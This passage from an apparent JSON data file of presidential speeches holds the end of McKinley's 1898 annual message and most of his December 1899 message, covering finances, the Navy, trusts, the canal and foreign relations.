prompt\ndetail and dispatch of experienced men from the established force and by\ndirecting all the instrumentalities of the railway mail and post-office\nservice, so far as necessary, to this new need. Congress passed an act\nempowering the postmaster-General to establish offices or branches at every\nmilitary camp or station, and under this authority the postal machinery was\nspeedily put into effective operation.Under the same authority, when our forces moved upon Cuba, Puerto Rico, and\nthe Philippines they were attended and followed by the postal service.\nThough the act of Congress authorized the appointment of postmasters where\nnecessary, it was early determined that the public interests would best be\nsubserved, not by new designations, but by the detail of experienced men\nfamiliar with every branch of the service, and this policy was steadily\nfollowed. When the territory which was the theater of conflict came into\nour possession, it became necessary to reestablish mail facilities for the\nresident population as well as to provide them for our forces of\noccupation, and the former requirement was met through the extension and\napplication of the latter obligation. I gave the requisite authority, and\nthe same general principle was applied to this as to other branches of\ncivil administration under military occupation. The details are more\nparticularly given in the report of the postmaster-General, and, while the\nwork is only just begun, it is pleasing to be able to say that the service\nin the territory which has come under our control is already materially\nimproved.The following recommendations of the Secretary of the Navy relative to the\nincrease of the Navy have my earnest approval:1. Three seagoing sheathed and coppered battle ships of about 13,500 tons\ntrial displacement, carrying the heaviest armor and most powerful ordnance\nfor vessels of their class, and to have the highest practicable speed and\ngreat radius of action. Estimated cost, exclusive of armor and armament,\n$3,600,000 each.2. Three sheathed and coppered armored cruisers of about 12,000 tons trial\ndisplacement, carrying the heaviest armor and most powerful ordnance for\nvessels of their class, and to have the highest practicable speed and great\nradius of action. Estimated cost, exclusive of armor and armament,\n$4,000,000 each.3. Three sheathed and coppered protected cruisers of about 6,000 tons trial\ndisplacement, to have the highest practicable speed and great radius of\naction, and to carry the most powerful ordnance suitable for vessels of\ntheir class. Estimated cost, exclusive of armor and armament, $2,150,000\neach.4. Six sheathed and coppered cruisers of about 2,500 tons trial\ndisplacement, to have the highest speed compatible with good cruising\nqualities, great radius of action, and to carry the most powerful ordnance\nsuited to vessels of their class. Estimated cost, exclusive of armament,\n$1,141,800 each.I join with the Secretary of the Navy in recommending that grades of\nadmiral and vice-admiral be temporarily revived, to be filled by officers\nwho have specially distinguished themselves in the war with Spain.I earnestly urge upon Congress the importance of early legislation\nproviding for the taking of the Twelfth Census. This is necessary in view\nof the large amount of work which must be performed in the preparation of\nthe schedules preparatory to the enumeration of the population.There were on the pension rolls on June 30, 1898, 993,714 names, an\nincrease of nearly 18,000 over the number on the rolls on the same day of\nthe preceding year. The amount appropriated by the act of December 22,\n1896, for the payment of pensions for the fiscal year of 1898 was\n$140,000,000. Eight million seventy thousand eight hundred and seventy-two\ndollars and forty-six cents was appropriated by the act of March 31, 1898,\nto cover deficiencies in army pensions, and repayments in the sum of\n$12,020.33, making a total of $148,082,892.79 available for the payment of\npensions during the fiscal year 1898. The amount disbursed from that sum\nwas $144,651,879.80, leaving a balance of $3,431,012.99 unexpended on the\n30th of June, 1898, which was covered into the Treasury. There were 389\nnames added to the rolls during the year by special acts passed at the\nsecond session of the Fifty-fifth Congress, making a total of 6,486\npensioners by Congressional enactments since 1861.The total receipts of the Patent Office during the past year were\n$1,253,948.44. The expenditures were $1,081,633.79, leaving a surplus of\n$172,314.65.The public lands disposed of by the Government during the year reached\n8,453,896.92 acres, an increase of 614,780.26 acres over the previous year.\nThe total receipts from public lands during the fiscal year amounted to\n$2,277,995.18, an increase of $190,063.90 over the preceding year. The\nlands embraced in the eleven forest reservations which were suspended by\nthe act of June 4, 1897, again became subject to the operations of the\nproclamations of February 22, 1897, creating them, which added an estimated\namount of 19,951,360 acres to the area embraced in the reserves previously\ncreated. In addition thereto two new reserves were created during the\nyear--the Pine Mountain and Zaca Lake Reserve, in California, embracing\n1,644,594 acres, and the Prescott Reserve, in Arizona, embracing 10,240\nacres--while the Pecos River Reserve, in New Mexico, has been changed and\nenlarged to include 120,000 additional acres.At the close of the year thirty forest reservations, not including those of\nthe Afognak Forest and the Fish-Culture Reserve, in Alaska, had been\ncreated by Executive proclamations under section 24 of the act of March 3,\n1891, embracing an estimated area of 40,719,474 acres.The Department of the Interior has inaugurated a forest system, made\npossible by the act of July, 1898, for a graded force of officers in\ncontrol of the reserves. This system has only been in full operation since\nAugust, but good results have already been secured in many sections. The\nreports received indicate that the system of patrol has not only prevented\ndestructive fires from gaining headway, but has diminished the number of\nfires.The special attention of the Congress is called to that part of the report\nof the Secretary of the Interior in relation to the Five Civilized Tribes.\nIt is noteworthy that the general condition of the Indians shows marked\nprogress. But one outbreak of a serious character occurred during the year,\nand that among the Chippewa Indians of Minnesota, which happily has been\nsuppressed.While it has not yet been practicable to enforce all the provisions of the\nact of June 28, 1898, \"for the protection of the people of the Indian\nTerritory, and for other purposes,\" it is having a salutary effect upon the\nnations composing the five tribes. The Dawes Commission reports that the\nmost gratifying results and greater advance toward the attainment of the\nobjects of the Government have been secured in the past year than in any\nprevious year. I can not too strongly indorse the recommendation of the\ncommission and of the Secretary of the Interior for the necessity of\nproviding for the education of the 30,000 white children resident in the\nIndian Territory.The Department of Agriculture has been active in the past year. Explorers\nhave been sent to many of the countries of the Eastern and Western\nhemispheres for seeds and plants that may be useful to the United States,\nand with the further view of opening up markets for our surplus products.\nThe Forestry Division of the Department is giving special attention to the\ntreeless regions of our country and is introducing species specially\nadapted to semiarid regions. Forest fires, which seriously interfere with\nproduction, especially in irrigated regions, are being studied, that losses\nfrom this cause may be avoided. The Department is inquiring into the use\nand abuse of water in many States of the West, and collating information\nregarding the laws of the States, the decisions of the courts, and the\ncustoms of the people in this regard, so that uniformity may be secured.\nExperiment stations are becoming more effective every year. The annual\nappropriation of $720,000 by Congress is supplemented by $400,000 from the\nStates. Nation-wide experiments have been conducted to ascertain the\nsuitableness as to soil and climate and States for growing sugar beets. The\nnumber of sugar factories has been doubled in the past two years, and the\nability of the United States to produce its own sugar from this source has\nbeen clearly demonstrated.The Weather Bureau forecast and observation stations have been extended\naround the Caribbean Sea, to give early warning of the approach of\nhurricanes from the south seas to our fleets and merchant marine.In the year 1900 will occur the centennial anniversary of the founding of\nthe city of Washington for the permanent capital of the Government of the\nUnited States by authority of an act of Congress approved July 16, 1790. In\nMay, 1800, the archives and general offices of the Federal Government were\nremoved to this place. On the 17th of November, 1800, the National Congress\nmet here for the first time and assumed exclusive control of the Federal\ndistrict and city. This interesting event assumes all the more significance\nwhen we recall the circumstances attending the choosing of the site, the\nnaming of the capital in honor of the Father of his Country, and the\ninterest taken by him in the adoption of plans for its future development\non a magnificent scale.These original plans have been wrought out with a constant progress and a\nsignal success even beyond anything their framers could have foreseen. The\npeople of the country are justly proud of the distinctive beauty and\ngovernment of the capital and of the rare instruments of science and\neducation which here find their natural home.A movement lately inaugurated by the citizens to have the anniversary\ncelebrated with fitting ceremonies, including, perhaps, the establishment\nof a handsome permanent memorial to mark so historical an occasion and to\ngive it more than local recognition, has met with general favor on the part\nof the public.I recommend to the Congress the granting of an appropriation for this\npurpose and the appointment of a committee from its respective bodies. It\nmight also be advisable to authorize the President to appoint a committee\nfrom the country at large, which, acting with the Congressional and\nDistrict of Columbia committees, can complete the plans for an appropriate\nnational celebration.The alien contract law is shown by experience to need some amendment; a\nmeasure providing better protection for seamen is proposed; the rightful\napplication of the eight-hour law for the benefit of labor and of the\nprinciple of arbitration are suggested for consideration; and I commend\nthese subjects to the careful attention of the Congress.The several departmental reports will be laid before you. They give in\ngreat detail the conduct of the affairs of the Government during the past\nyear and discuss many questions upon which the Congress may feel called\nupon to act.", 
+    "name": "William McKinley"
+}
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+{
+    "date": "December 5, 1899", 
+    "speech": "To the Senate and House of Representatives:At the threshold of your deliberations you are called to mourn with your\ncountrymen the death of Vice-President Hobart, who passed from this life on\nthe morning of November 21 last. His great soul now rests in eternal peace.\nHis private life was pure and elevated, while his public career was ever\ndistinguished by large capacity, stainless integrity, and exalted motives.\nHe has been removed from the high office which he honored and dignified,\nbut his lofty character, his devotion to duty, his honesty of purpose, and\nnoble virtues remain with us as a priceless legacy and example.The Fifty-sixth Congress convenes in its first regular session with the\ncountry in a condition of unusual prosperity, of universal good will among\nthe people at home, and in relations of peace and friendship with every\ngovernment of the world. Our foreign commerce has shown great increase in\nvolume and value. The combined imports and exports for the year are the\nlargest ever shown by a single year in all our history. Our exports for\n1899 alone exceeded by more than a billion dollars our imports and exports\ncombined in 1870. The imports per capita are 20 per cent less than in 1870,\nwhile the exports per capita are 58 per cent more than in 1870, showing the\nenlarged capacity of the United States to satisfy the wants of its own\nincreasing population, as well as to contribute to those of the peoples of\nother nations.Exports of agricultural products were $784,776,142. Of manufactured\nproducts we exported in value $339,592,146, being larger than any previous\nyear. It is a noteworthy fact that the only years in all our history when\nthe products of our manufactories sold abroad exceeded those bought abroad\nwere 1898 and 1899.Government receipts from all sources for the fiscal year ended June 30,\n1899, including $11,798,314,14, part payment of the Central Pacific\nRailroad indebtedness, aggregated $610,982,004.35. Customs receipts were\n$206,128,481.75, and those from internal revenue $273,437,161.51.For the fiscal year the expenditures were $700,093,564.02, leaving a\ndeficit of $89,111,559.67.The Secretary of the Treasury estimates that the receipts for the current\nfiscal year will aggregate $640,958,112, and upon the basis of present\nappropriations the expenditures will aggregate $600,958,112, leaving a\nsurplus of $40,000,000.For the fiscal year ended June 30, 1899, the internal-revenue receipts were\nincreased about $100,000,000.The present gratifying strength of the Treasury is shown by the fact that\non December 1, 1899, the available cash balance was $278,004,837.72, Of\nwhich $239,744,905.36 was in gold coin and bullion. The conditions of\nconfidence which prevail throughout the country have brought gold into more\ngeneral use and customs receipts are now almost entirely paid in that\ncoin.The strong position of the Treasury with respect to cash on hand and the\nfavorable showing made by the revenues have made it possible for the\nSecretary of the Treasury to take action under the provisions of section\n3694, Revised Statutes, relating to the sinking fund. Receipts exceeded\nexpenditures for the first five months of the current fiscal year by\n$13,413,389.91, and, as mentioned above, the Secretary of the Treasury\nestimates that there will be a surplus of approximately $40,000,000 at the\nend of the year. Under such conditions it was deemed advisable and proper\nto resume compliance with the provisions of the sinking-fund law, which for\neight years has not been done because of deficiencies in the revenues. The\nTreasury Department therefore offered to purchase during November\n$25,000,000 of the 5 per cent loan of 1904, or the 4 per cent funded loan\nof 1907, at the current market price. The amount offered and purchased\nduring November was $18,408,600. The premium paid by the Government on such\npurchases was $2,263,521 and the net saving in interest was about\n$2,885,000. The success of this operation was sufficient to induce the\nGovernment to continue the offer to purchase bonds to and including the 23d\nday of December, instant, unless the remainder of the $25,000,000 called\nfor should be presented in the meantime for redemption.Increased activity in industry, with its welcome attendant--a larger\nemployment for labor at higher wages--gives to the body of the people a\nlarger power to absorb the circulating medium. It is further true that year\nby year, with larger areas of land under cultivation, the increasing volume\nof agricultural products, cotton, corn, and wheat, calls for a larger\nvolume of money supply. This is especially noticeable at the\ncrop-harvesting and crop-moving period.In its earlier history the National Banking Act seemed to prove a\nreasonable avenue through which needful additions to the circulation could\nfrom time to time be made. Changing conditions have apparently rendered it\nnow inoperative to that end. The high margin in bond securities required,\nresulting from large premiums which Government bonds command in the market,\nor the tax on note issues, or both operating together, appear to be the\ninfluences which impair its public utility.The attention of Congress is respectfully invited to this important matter,\nwith the view of ascertaining whether or not such reasonable modifications\ncan be made in the National Banking Act as will render its service in the\nparticulars here referred to more responsive to the people's needs. I again\nurge that national banks be authorized to organize with a capital of\n$25,000.I urgently recommend that to support the existing gold standard, and to\nmaintain \"the parity in value of the coins of the two metals (gold and\nsilver) and the equal power of every dollar at all times in the market and\nin the payment of debts,\" the Secretary of the Treasury be given additional\npower and charged with the duty to sell United States bonds and to employ\nsuch other effective means as may be necessary to these ends. The authority\nshould include the power to sell bonds on long and short time, as\nconditions may require, and should provide for a rate of interest lower\nthan that fixed by the act of January 14, 1875. While there is now no\ncommercial fright which withdraws gold from the Government, but, on the\ncontrary, such widespread confidence that gold seeks the Treasury demanding\npaper money in exchange, yet the very situation points to the present as\nthe most fitting time to make adequate provision to insure the continuance\nof the gold standard and of public confidence in the ability and purpose of\nthe Government to meet all its obligations in the money which the civilized\nworld recognizes as the best. The financial transactions of the Government\nare conducted upon a gold basis. We receive gold when we sell United States\nbonds and use gold for their payment. We are maintaining the parity of all\nthe money issued or coined by authority of the Government. We are doing\nthese things with the means at hand. Happily at the present time we are not\ncompelled to resort to loans to supply gold. It has been done in the past,\nhowever, and may have to be done in the future. It behooves us, therefore,\nto provide at once the best means to meet the emergency when it arises, and\nthe best means are those which are the most certain and economical. Those\nnow authorized have the virtue neither of directness nor economy. We have\nalready eliminated one of the causes of our financial plight and\nembarrassment during the years 1893, 1894, 1895, and 1896. Our receipts now\nequal our expenditures; deficient revenues no longer create alarm Let us\nremove the only remaining cause by conferring the full and necessary power\non the Secretary of the Treasury and impose upon him the duty to uphold the\npresent gold standard and preserve the coins of the two metals on a parity\nwith each other, which is the repeatedly declared policy of the United\nStates.In this connection I repeat my former recommendations that a portion of the\ngold holdings shall be placed in a trust fund from which greenbacks shall\nbe redeemed upon presentation, but when once redeemed shall not thereafter\nbe paid out except for gold.The value of an American merchant marine to the extension of our commercial\ntrade and the strengthening of our power upon the sea invites the immediate\naction of the Congress. Our national development will be one-sided and\nunsatisfactory so long as the remarkable growth of our inland industries\nremains unaccompanied by progress on the seas. There is no lack of\nconstitutional authority for legislation which shall give to the country\nmaritime strength commensurate with its industrial achievements and with\nits rank among the nations of the earth,The past year has recorded exceptional activity in our shipyards, and the\npromises of continual prosperity in shipbuilding are abundant. Advanced\nlegislation for the protection of our seamen has been enacted. Our coast\ntrade, under regulations wisely framed at the beginning of the Government\nand since, shows results for the past fiscal year unequaled in our records\nor those of any other power. We shall fail to realize our opportunities,\nhowever, if we complacently regard only matters at home and blind ourselves\nto the necessity of securing our share in the valuable carrying trade of\nthe world.Last year American vessels transported a smaller share of our exports and\nimports than during any former year in all our history, and the measure of\nour dependence upon foreign shipping was painfully manifested to our\npeople. Without any choice of our own, but from necessity, the Departments\nof the Government charged with military and naval operations in the East\nand West Indies had to obtain from foreign flags merchant vessels essential\nfor those operations.The other great nations have not hesitated to adopt the required means to\ndevelop their shipping as a factor in national defense and as one of the\nsurest and speediest means of obtaining for their producers a share in\nforeign markets. Like vigilance and effort on our part cannot fail to\nimprove our situation, which is regarded with humiliation at home and with\nsurprise abroad. Even the seeming sacrifices, which at the beginning may be\ninvolved, will be offset later by more than equivalent gains.The expense is as nothing compared to the advantage to be achieved. The\nreestablishment of our merchant marine involves in a large measure our\ncontinued industrial progress and the extension of our commercial triumphs.\nI am satisfied the judgment of the country favors the policy of aid to our\nmerchant marine, which will broaden our commerce and markets and upbuild\nour sea-carrying capacity for the products of agriculture and manufacture;\nwhich, with the increase of our Navy, mean more work and wages to our\ncountrymen, as well as a safeguard to American interests in every part of\nthe world.Combinations of capital organized into trusts to control the conditions of\ntrade among our citizens, to stifle competition, limit production, and\ndetermine the prices of products used and consumed by the people, are\njustly provoking public discussion, and should early claim the attention of\nthe Congress.The Industrial Commission, created by the act of the Congress of June 18,\n1898, has been engaged in extended hearings upon the disputed questions\ninvolved in the subject of combinations in restraint of trade and\ncompetition. They have not yet completed their investigation of this\nsubject, and the conclusions and recommendations at which they may arrive\nare undetermined.The subject is one giving rise to many divergent views as to the nature and\nvariety or cause and extent of the injuries to the public which may result\nfrom large combinations concentrating more or less numerous enterprises and\nestablishments, which previously to the formation of the combination were\ncarried on separately.It is universally conceded that combinations which engross or control the\nmarket of any particular kind of merchandise or commodity necessary to the\ngeneral community, by suppressing natural and ordinary competition, whereby\nprices are unduly enhanced to the general consumer, are obnoxious not only\nto the common law but also to the public welfare. There must be a remedy\nfor the evils involved in such organizations. If the present law can be\nextended more certainly to control or check these monopolies or trusts, it\nshould be done without delay. Whatever power the Congress possesses over\nthis most important subject should be promptly ascertained and asserted.President Harrison in his annual message of December 3, 1889, says: Earnest\nattention should be given by Congress to a consideration of the question\nhow far the restraint of those combinations of capital commonly called\n\"trusts\" is matter of Federal jurisdiction. When organized, as they often\nare, to crush out all healthy competition and to monopolize the production\nor sale of an article of commerce and general necessity they are dangerous\nconspiracies against the public good, and should be made the subject of\nprohibitory and even penal legislation. An act to protect trade and\ncommerce against unlawful restraints and monopolies was passed by Congress\non the 2d of July, 1890. The provisions of this statute are comprehensive\nand stringent. It declares every contract or combination, in the form of a\ntrust or otherwise, or conspiracy in the restraint of trade or commerce\namong the several States or with foreign nations, to be unlawful. It\ndenominates as a criminal every person who makes any such contract or\nengages in any such combination or conspiracy, and provides a punishment by\nfine or imprisonment. It invests the several circuit courts of the United\nStates with jurisdiction to prevent and restrain violations of the act, and\nmakes it the duty of the several United States district attorneys, under\nthe direction of the Attorney General, to institute proceedings in equity\nto prevent and restrain such violations. It further confers upon any person\nwho shall be injured in his business or property by any other person or\ncorporation by reason of anything forbidden or declared to be unlawful by\nthe act, the power to sue therefore in any circuit court of the United\nStates without respect to the amount in controversy, and to recover\nthreefold the damages by him sustained and the costs of the suit, including\nreasonable attorney fees. It will be perceived that the act is aimed at\nevery kind of combination in the nature of a trust or monopoly in restraint\nof interstate or international commerce.The prosecution by the United States of offenses under the act of 1890 has\nbeen frequently resorted to in the Federal courts, and notable efforts in\nthe restraint of interstate commerce, such as the Trans-Missouri Freight\nAssociation and the joint Traffic Association, have been successfully\nopposed and suppressed.President Cleveland in his annual message of December 7, 1896--more than\nsix years subsequent to the enactment of this law--after stating the\nevils of these trust combinations, says: Though Congress has attempted to\ndeal with this matter by legislation, the laws passed for that purpose thus\nfar have proved ineffective, not because of any lack of disposition or\nattempt to enforce them, but simply because the laws themselves as\ninterpreted by the courts do not reach the difficulty. If the\ninsufficiencies of existing laws can be remedied by further legislation, it\nshould be done. The fact must be recognized, however, that all Federal\nlegislation on this subject may fall short of its purpose because of\ninherent obstacles, and also because of the complex character of our\ngovernmental system, which, while making the Federal authority supreme\nwithin its sphere, has carefully limited that sphere by metes and bounds\nwhich cannot be transgressed. The decision of our highest court on this\nprecise question renders it quite doubtful whether the evils of trusts and\nmonopolies may be adequately treated through Federal action, unless they\nseek directly and purposely to include in their objects transportation or\nintercourse between States or between the United States and foreign\ncountries. It does not follow, however, that this is the limit of the\nremedy that may be applied. Even though it may be found that Federal\nauthority is not broad enough to fully reach the case, there can be no\ndoubt of the power of the several States to act effectively in the\npremises, and there should be no reason to doubt their willingness to\njudiciously exercise such power. The State legislation to which President\nCleveland looked for relief from the evils of trusts has failed to\naccomplish fully that object. This is probably due to a great extent to the\nfact that different States take different views as to the proper way to\ndiscriminate between evil and injurious combinations and those associations\nwhich are beneficial and necessary to the business prosperity of the\ncountry. The great diversity of treatment in different States arising from\nthis cause and the intimate relations of all parts of the country to each\nother without regarding State lines in the conduct of business have made\nthe enforcement of State laws difficult.It is apparent that uniformity of legislation upon this subject in the\nseveral States is much to be desired. It is to be hoped that such\nuniformity founded in a wise and just discrimination between what is\ninjurious and what is useful and necessary in business operations may be\nobtained and that means may be found for the Congress within the\nlimitations of its constitutional power so to supplement an effective code\nof State legislation as to make a complete system of laws throughout the\nUnited States adequate to compel a general observance of the salutary rules\nto which I have referred.The whole question is so important and far-reaching that I am sure no part\nof it will be lightly considered, but every phase of it will have the\nstudied deliberation of the Congress, resulting in wise and judicious\naction.A review of our relations with foreign States is presented with such\nrecommendations as are deemed appropriate.The long-pending boundary dispute between the Argentine Republic and Chile\nwas settled in March last by the award of an arbitral commission, on which\nthe United States minister at Buenos Ayres served as umpire.Progress has been made toward the conclusion of a convention of extradition\nwith the Argentine Republic. Having been advised and consented to by the\nUnited States Senate and ratified by Argentina, it only awaits the\nadjustment of some slight changes in the text before exchange.In my last annual message I adverted to the claim of the Austro-Hungarian\nGovernment for indemnity for the killing of certain Austrian and Hungarian\nsubjects by the authorities of the State of Pennsylvania, at Lattimer,\nwhile suppressing an unlawful tumult of miners, September 10, 1897. In view\nof the verdict of acquittal rendered by the court before which the sheriff\nand his deputies were tried for murder, and following the established\ndoctrine that the Government may not be held accountable for injuries\nsuffered by individuals at the hands of the public authorities while acting\nin the line of duty in suppressing disturbance of the public peace, this\nGovernment, after due consideration of the claim advanced by the\nAustro-Hungarian Government, was constrained to decline liability to\nindemnify the sufferers.It is gratifying to be able to announce that the Belgian Government has\nmitigated the restrictions on the importation of cattle from the United\nStates, to which I referred in my last annual message.Having been invited by Belgium to participate in a congress, held at\nBrussels, to revise the provisions of the general act Of July 2, 1890, for\nthe repression of the African slave trade, to which the United States was a\nsignatory party, this Government preferred not to be represented by a\nplenipotentiary, but reserved the right of accession to the result. Notable\nchanges were made, those especially concerning this country being in the\nline of the increased restriction of the deleterious trade in spirituous\nliquors with the native tribes, which this Government has from the outset\nurgently advocated. The amended general act will be laid before the Senate,\nwith a view to its advice and consent.Early in the year the peace of Bolivia was disturbed by a successful\ninsurrection. The United States minister remained at his post, attending to\nthe American interests in that quarter, and using besides his good offices\nfor the protection of the interests of British subjects in the absence of\ntheir national representative. On the establishment of the new Government,\nour minister was directed to enter into relations therewith.General Pando was elected President of Bolivia on October 23.Our representative has been instructed to use all permissible friendly\nendeavors to induce the Government of Bolivia to amend its marriage laws so\nas to give legal status to the non-Catholic and civil marriages of aliens\nwithin its jurisdiction, and strong hopes are entertained that the Bolivian\nlaw in this regard will be brought, as was that of Peru some years ago,\ninto harmony with the general practice of modern States.A convention of extradition with Brazil, signed May 14, 1897, has been\nratified by the Brazilian Legislature.During the past summer two national ships of the United States have visited\nBrazilian ports on a friendly mission and been cordially received. The\nvoyage of the Wilmington up the Amazon River gave rise to a passing\nmisunderstanding, owing to confusion in obtaining permission to visit the\ninterior and make surveys in the general interest of navigation, but the\nincident found a ready adjustment in harmony with the close relations of\namity which this Government has always sedulously sought to cultivate with\nthe commonwealths of the Western Continent.The claim growing out of the seizure of the American-owned newspaper \"The\nPanama Star and Herald\" by the authorities of Colombia has been settled,\nafter a controversy of several years, by an agreement assessing at $30,000\nthe indemnity to be paid by the Colombian Government, in three installments\nof $10,000 each.The good will of Colombia toward our country has been testified anew by the\ncordial extension of facilities to the Nicaraguan Canal Commission in their\napproaching investigation of the Panama Canal and other projected routes\nacross the Isthmus of Darien.Toward the end of October an insurrectionary disturbance developed in the\nColombian Republic. This movement has thus far not attained any decisive\nresult and is still in progress.Discussion of the questions raised by the action of Denmark in imposing\nrestrictions on the importation of American meats has continued without\nsubstantial result in our favor.The neighboring island Republic of Santo Domingo has lately been the scene\nof revolution, following a long period of tranquility. It began with the\nkilling of President Heureaux in July last, and culminated in the\nrelinquishment by the succeeding Vice-President of the reins of government\nto the insurgents. The first act of the provisional government was the\ncalling of a presidential and constituent election. Juan Isidro Jimenez,\nhaving been elected President, was inaugurated on the 14th of November.\nRelations have been entered into with the newly established Government.The experimental association of Nicaragua, Honduras, and Salvador, tinder\nthe title of the Greater Republic of Central America, when apparently on\nthe threshold of a complete federal organization by the adoption of a\nconstitution and the formation of a national legislature, was disrupted in\nthe last days of November, 1898, by the withdrawal of Salvador. Thereupon\nNicaragua and Honduras abandoned the joint compact, each resuming its\nformer independent sovereignty. This was followed by the reception of\nMinister Merry by the Republics of Nicaragua and Salvador, while Minister\nHunter in turn presented his credentials to the Government of Honduras,\nthus reverting to the old distribution of the diplomatic agencies of the\nUnited States in Central America for which our existing statutes provide. A\nNicaraguan envoy has been accredited to the United States.An insurrectionary movement, under General Reyes, broke out at Bluefields\nin February last, and for a time exercised actual control in the Mosquito\nTerritory. The Detroit was promptly sent thither for the protection of\nAmerican interests. After a few weeks the Reyes government renounced the\nconflict, giving place to the restored supremacy of Nicaragua. During the\ninterregnum certain public dues accruing under Nicaraguan law were\ncollected from American merchants by the authorities for the time being in\neffective administrative control. Upon the titular government regaining\npower, a second payment of these dues was demanded. Controversy arose\ntouching the validity of the original payment of the debt to the de facto\nregent of the territory. An arrangement was effected in April last by the\nUnited States minister and the foreign secretary of Nicaragua whereby the\namounts of the duplicate payments were deposited with the British consul\npending an adjustment of the matter by direct agreement between the\nGovernments of the United States and Nicaragua. The controversy is still\nunsettled.The contract of the Maritime Canal Company of Nicaragua was declared\nforfeited by the Nicaraguan Government on the Tenth of October, on the\nground of nonfulfillment within the ten years' term stipulated in the\ncontract. The Maritime Canal Company has lodged a protest against this\naction, alleging rights in the premises which appear worthy of\nconsideration. This Government expects that Nicaragua will afford the\nprotestants a full and fair hearing upon the merits of the case.The Nicaragua Canal Commission, which had been engaged upon the work of\nexamination and survey for a ship-canal route across Nicaragua, having\ncompleted its labors and made its report, was dissolved on May P, and on\nJune To a new commission, known as the Isthmian Canal Commission, was\norganized under the terms of the act approved March 3, 1899, for the\npurpose of examining the American Isthmus with a view to determining the\nmost practicable and feasible route for a ship canal across that Isthmus,\nwith its probable cost, and other essential details.This Commission, under the presidency of Rear-Admiral John G. Walker, U. S.\nN. (retired), entered promptly upon the work intrusted to it, and is now\ncarrying on examinations in Nicaragua along the route of the Panama Canal,\nand in Darien from the Atlantic, in the neighborhood of the Atrato River,\nto the Bay of Panama, on the Pacific side. Good progress has been made, but\nunder the law a comprehensive and complete investigation is called for,\nwhich will require much labor and considerable time for its accomplishment.\nThe work will be prosecuted as expeditiously as possible and a report made\nat the earliest practicable date.The great importance of this work cannot be too often or too strongly\npressed upon the attention of the Congress. In my message of a year ago I\nexpressed my views of the necessity of a canal which would link the two\ngreat oceans, to which I again invite your consideration. The reasons then\npresented for early action are even stronger now.A pleasing incident in the relations of this Government with that of Chile\noccurred in the generous assistance given to the war ship Newark when in\ndistress in Chilean waters. Not alone in this way has the friendly\ndisposition of Chile found expression. That country has acceded to the\nconvention for the establishment of the Bureau of the American Republics,\nin which organization every independent State of the continent now shares.The exchange of ratifications of a convention for the revival of the United\nStates and Chilean Claims Commission and for the adjudication of claims\nheretofore presented but not determined during the life of the previous\nCommission has been delayed by reason of the necessity for fresh action by\nthe Chilean Senate upon the amendments attached to the ratification of the\ntreaty by the United States Senate. This formality is soon to be\naccomplished.In view of disturbances in the populous provinces of northern China, where\nare many of our citizens, and of the imminence of disorder near the capital\nand toward the seaboard, a guard of marines was landed from the Boston and\nstationed during last winter in the legation compound at Peking. With the\nrestoration of order this protection was withdrawn.The interests of our citizens in that vast Empire have not been neglected\nduring the past year. Adequate protection has been secured for our\nmissionaries and some injuries to their property have been redressed.American capital has sought and found various opportunities of competing to\ncarry out the internal improvements which the Imperial Government is wisely\nencouraging, and to develop the natural resources of the Empire. Our trade\nwith China has continued to grow, and our commercial rights under existing\ntreaties have been everywhere maintained during the past year, as they will\nbe in the future.The extension of the area open to international foreign settlement at\nShanghai and the opening of the ports of Nanking, Tsing-tao (Kiao chao),\nand Ta-lien-wan to foreign trade and settlement will doubtless afford\nAmerican enterprise additional facilities and new fields, of which it will\nnot be slow to take advantage.In my message to Congress of December 5, 1898, I urged that the\nrecommendation which had been made to the Speaker of the House of\nRepresentatives by the Secretary of the Treasury on the 14th of June, 1898,\nfor an appropriation for a commission to study the commercial and\nindustrial conditions in the Chinese Empire and report as to the\nopportunities for, and obstacles to, the enlargement of markets in China\nfor the raw products and manufactures of the United States, should receive\nat your hands the consideration which its importance and timeliness\nmerited, but the Congress failed to take action.I now renew this recommendation, as the importance of the subject has\nsteadily grown since it was first submitted to you, and no time should be\nlost in studying for ourselves the resources of this great field for\nAmerican trade and enterprise.The death of President Faure in February last called forth those sincere\nexpressions of sympathy which befit the relations of two Republics as\nclosely allied by unbroken historic ties as are the United States and\nFrance.Preparations for the representation of the industries, arts, and products\nof the United States at the World's Exposition to be held in Paris next\nyear continue on an elaborate and comprehensive scale, thanks to the\ngenerous appropriation provided by Congress and to the friendly interest\nthe French Government has shown in furthering a typical exhibit of American\nprogress.There has been allotted to the United States a considerable addition of\nspace, which, while placing our country in the first rant among exhibitors,\ndoes not suffice to meet the increasingly urgent demands of our\nmanufacturers. The efforts of the Commissioner General are ably directed\ntoward a strictly representative display of all that most\ncharacteristically marks American achievement in the inventive arts, and\nmost adequately shows the excellence of our natural productions.In this age of keen rivalry among nations for mastery in commerce, the\ndoctrine of evolution and the rule of the survival of the fittest must be\nas inexorable in their operation as they are positive in the results they\nbring about. The place won in the struggle by an industrial people can only\nbe held by unrelaxed endeavor and constant advance in achievement. The\npresent extraordinary impetus in every line of American exportation and the\nastounding increase in the volume and value of our share in the world's\nmarkets may not be attributed to accidental conditions.The reasons are not far to seek. They lie deep in our national character\nand find expression year by year in every branch of handicraft, in every\nnew device whereby the materials we so abundantly produce are subdued to\nthe artisan's will and made to yield the largest, most practical, and most\nbeneficial return. The American exhibit at Paris should, and I am confident\nwill, be an open volume, whose lessons of skillfully directed endeavor,\nunfaltering energy, and consummate performance may be read by all on every\npage, thus spreading abroad a clearer knowledge of the worth of our\nproductions and the justice of our claim to an important place in the marts\nof the world. To accomplish this by judicious selection, by recognition of\nparamount merit in whatever walk of trade or manufacture it may appear, and\nby orderly classification and attractive installation is the task of our\nCommission.The United States Government building is approaching completion, and no\neffort will be spared to make it worthy, in beauty of architectural plan\nand in completeness of display, to represent our nation. It has been\nsuggested that a permanent building of similar or appropriate design be\nerected on a convenient site, already given by the municipality, near the\nexposition grounds, to serve in commemoration of the part taken by this\ncountry in this great enterprise, as an American National Institute, for\nour countrymen resorting to Paris for study.I am informed by our Commissioner-General that we shall have in the\nAmerican sections at Paris over 7,000 exhibitors, from every State ill our\ncountry, a number ten times as great as those which were represented at\nVienna in 1873, six times as many as those in Paris in 1878, and four times\nas many as those who exhibited in Paris in 1889. This statement does not\ninclude the exhibits from either Cuba, Puerto Rico, or Hawaii, for which\narrangements have been made.A number of important international congresses on special topics affecting\npublic interests are proposed to be held in Paris next summer in connection\nwith the exposition. Effort will be made to have the several technical\nbranches of our administration efficiently represented at those\nconferences, each in its special line, and to procure the largest possible\nconcourse of State representatives, particularly at the Congresses of\nPublic Charity and Medicine.Our relations with Germany continue to be most cordial. The increasing\nintimacy of direct association has been marked during the year by the\ngranting permission in April for the landing on our shores of a cable from\nBorkum 